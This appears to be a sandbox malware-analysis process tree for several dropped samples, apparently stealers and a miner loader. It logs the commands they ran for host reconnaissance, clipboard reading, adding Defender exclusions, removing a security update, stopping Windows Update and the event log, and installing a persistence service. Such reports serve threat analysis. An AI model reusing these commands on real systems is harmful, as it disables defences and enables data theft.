        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:3052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 268
        7⤵
        Program crash
        
        PID:1040
      - C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
        6⤵
        Executes dropped EXE
        
        PID:5912
        
        C:\Users\Admin\AppData\Local\Temp\onefile_5912_133619909875501673\stub.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5188
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        8⤵
        
        PID:3144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        8⤵
        
        PID:5324
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        8⤵
        
        PID:428
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        
        PID:5520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe""
        8⤵
        
        PID:5640
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe"
        9⤵
        Views/modifies file attributes
        
        PID:5668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""
        8⤵
        
        PID:5476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
        8⤵
        
        PID:5760
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM chrome.exe
        9⤵
        Kills process with taskkill
        
        PID:5820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        8⤵
        
        PID:5720
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        9⤵
        Enumerates processes with tasklist
        
        PID:916
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        8⤵
        
        PID:5220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "chcp"
        8⤵
        
        PID:2724
        
        C:\Windows\system32\chcp.com
        
        chcp
        9⤵
        
        PID:5296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "chcp"
        8⤵
        
        PID:5732
        
        C:\Windows\system32\chcp.com
        
        chcp
        9⤵
        
        PID:4720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        8⤵
        
        PID:5324
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        9⤵
        Gathers system information
        
        PID:5272
        
        C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        9⤵
        
        PID:3492
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        9⤵
        Collects information from the system
        
        PID:860
        
        C:\Windows\system32\net.exe
        
        net user
        9⤵
        
        PID:1200
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        10⤵
        
        PID:4972
        
        C:\Windows\system32\query.exe
        
        query user
        9⤵
        
        PID:1244
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        10⤵
        
        PID:3564
        
        C:\Windows\system32\net.exe
        
        net localgroup
        9⤵
        
        PID:2412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        10⤵
        
        PID:4512
        
        C:\Windows\system32\net.exe
        
        net localgroup administrators
        9⤵
        
        PID:2740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        10⤵
        
        PID:4796
        
        C:\Windows\system32\net.exe
        
        net user guest
        9⤵
        
        PID:4100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        10⤵
        
        PID:3948
        
        C:\Windows\system32\net.exe
        
        net user administrator
        9⤵
        
        PID:4804
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        10⤵
        
        PID:4020
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        9⤵
        
        PID:1944
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        9⤵
        Enumerates processes with tasklist
        
        PID:3012
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        9⤵
        Gathers network information
        
        PID:2388
        
        C:\Windows\system32\ROUTE.EXE
        
        route print
        9⤵
        
        PID:452
        
        C:\Windows\system32\ARP.EXE
        
        arp -a
        9⤵
        
        PID:3032
        
        C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        9⤵
        Gathers network information
        
        PID:3048
        
        C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        9⤵
        Launches sc.exe
        
        PID:1648
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        9⤵
        Modifies Windows Firewall
        
        PID:1616
        
        C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        9⤵
        Modifies Windows Firewall
        
        PID:6080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        8⤵
        
        PID:5520
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        9⤵
        
        PID:5652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        8⤵
        
        PID:5756
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        9⤵
        
        PID:5536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        8⤵
        
        PID:4984
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5720
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        9⤵
        
        PID:5448
      - C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:6036
      - C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5952
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:5808
        
        C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5608
        
        C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
        8⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:1096
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
        8⤵
        
        PID:704
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        9⤵
        
        PID:1612
      - C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5516
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:4124
      - C:\Users\Admin\AppData\Local\Temp\1000012001\lrthijawd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000012001\lrthijawd.exe"
        6⤵
        Executes dropped EXE
        
        PID:2448
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
        7⤵
        
        PID:2736
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe
        
        work.exe -priverdD
        8⤵
        Executes dropped EXE
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\jergs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\jergs.exe"
        9⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2032
      - C:\Users\Admin\AppData\Local\Temp\1000014001\services64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000014001\services64.exe"
        6⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4812
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:4988
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:5300
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:5148
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:3872
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:728
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:5660
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:1992
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        
        PID:1876
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        
        PID:5912
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        
        PID:1608
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        
        PID:2468
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        7⤵
        
        PID:2704
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "WindowsAutHost"
        7⤵
        Launches sc.exe
        
        PID:4480
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:4476
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:2512
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "WindowsAutHost"
        7⤵
        Launches sc.exe
        
        PID:4612
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:6016
  - - C:\Users\Admin\AppData\Local\Temp\1000012001\b3de505406.exe
      "C:\Users\Admin\AppData\Local\Temp\1000012001\b3de505406.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:2828
  - - C:\Users\Admin\AppData\Local\Temp\1000013001\8523104305.exe
      "C:\Users\Admin\AppData\Local\Temp\1000013001\8523104305.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1156
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4884
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc92d9ab58,0x7ffc92d9ab68,0x7ffc92d9ab78
        6⤵
        
        PID:2560
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1524 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:2
        6⤵
        
        PID:2348
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:8
        6⤵
        
        PID:3192
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2156 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:8
        6⤵
        
        PID:1596
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3000 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:1
        6⤵
        
        PID:1784
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3008 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:1
        6⤵
        
        PID:1776
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=1488 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:1
        6⤵
        
        PID:4604
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3184 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:1
        6⤵
        
        PID:4628
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4384 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:8
        6⤵
        
        PID:3644
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4404 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:8
        6⤵
        Modifies registry class
        
        PID:1412
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4792 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:8
        6⤵
        
        PID:1744
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:8
        6⤵
        
        PID:2584
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4812 --field-trial-handle=1740,i,7550290618320666171,17575673160948307682,131072 /prefetch:8
        6⤵
        
        PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3548

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3916

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3980

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4084

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4504

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2028

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2588

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:2936

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:2600

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3804
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1492 -ip 1492
  2⤵
  PID:2088
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 552 -ip 552
  2⤵
  PID:4264
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 552 -ip 552
  2⤵
  PID:3052
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 552 -ip 552
  2⤵
  PID:4264
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 552 -ip 552
  2⤵
  PID:1120
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 552 -ip 552
  2⤵
  PID:4816
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 552 -ip 552
  2⤵
  PID:428
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 552 -ip 552
  2⤵
  PID:2616
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 552 -ip 552
  2⤵
  PID:4616
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 552 -ip 552
  2⤵
  PID:3204
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 552 -ip 552
  2⤵
  PID:4820
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2508 -ip 2508
  2⤵
  PID:5240
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2508 -ip 2508
  2⤵
  PID:5292
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2508 -ip 2508
  2⤵
  PID:5372
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2508 -ip 2508
  2⤵
  PID:5428
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2508 -ip 2508
  2⤵
  PID:5480
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2508 -ip 2508
  2⤵
  PID:5536
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2508 -ip 2508
  2⤵
  PID:5588
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2508 -ip 2508
  2⤵
  PID:5652
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2508 -ip 2508
  2⤵
  PID:5716
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2508 -ip 2508
  2⤵
  PID:5768
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2508 -ip 2508
  2⤵
  PID:5840
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2508 -ip 2508
  2⤵
  PID:5892
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2508 -ip 2508
  2⤵
  PID:5952
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2508 -ip 2508
  2⤵
  PID:6008
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2508 -ip 2508
  2⤵
  PID:6060
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2508 -ip 2508
  2⤵
  PID:6116
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5820 -ip 5820
  2⤵
  PID:5952
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4940 -ip 4940
  2⤵
  PID:2664
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5320 -ip 5320
  2⤵
  PID:1756
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 5108 -ip 5108
  2⤵
  PID:3644
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 4972 -ip 4972
  2⤵
  PID:2348
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 2508 -ip 2508
  2⤵
  PID:5372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1716

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5240

C:\ProgramData\WindowsServices\WindowsAutHost
C:\ProgramData\WindowsServices\WindowsAutHost
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:396
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5732
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:1228
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:6096
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2624
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1600
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4640
- - C:\Windows\System32\Conhost.exe
